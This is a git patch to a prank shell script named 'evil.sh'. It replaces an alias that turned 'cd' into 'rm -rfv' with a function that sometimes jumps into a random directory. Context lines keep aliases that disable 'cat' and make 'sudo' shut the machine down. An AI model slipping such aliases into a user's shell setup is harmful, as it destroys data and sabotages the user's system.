From 3e04bc818adb9f78f9bad8a449f2f73c7065f3ec Mon Sep 17 00:00:00 2001 From: Felix Van der Jeugt Date: Mon, 22 Sep 2014 20:29:42 +0200 Subject: [PATCH] checkout random directories --- evil.sh | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/evil.sh b/evil.sh index 458be53..f5e782b 100755 --- a/evil.sh +++ b/evil.sh @@ -16,8 +16,17 @@ alias cat=true # Use a random sort option whenever `ls` is invoked function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } -# Delete directories instead of entering them -alias cd='rm -rfv' +# Checkout random directories at unexpected times. +unalias cd 2> /dev/null +alias oldcd=cd +function randomcd() { + if ((RANDOM % 5)); then + oldcd $* + else + oldcd $(ls -aF | grep '/' | sort -R | head -1) + fi +} +alias cd=randomcd # Shut down the computer instead of running a command with super-user rights alias sudo='sudo shutdown -P now'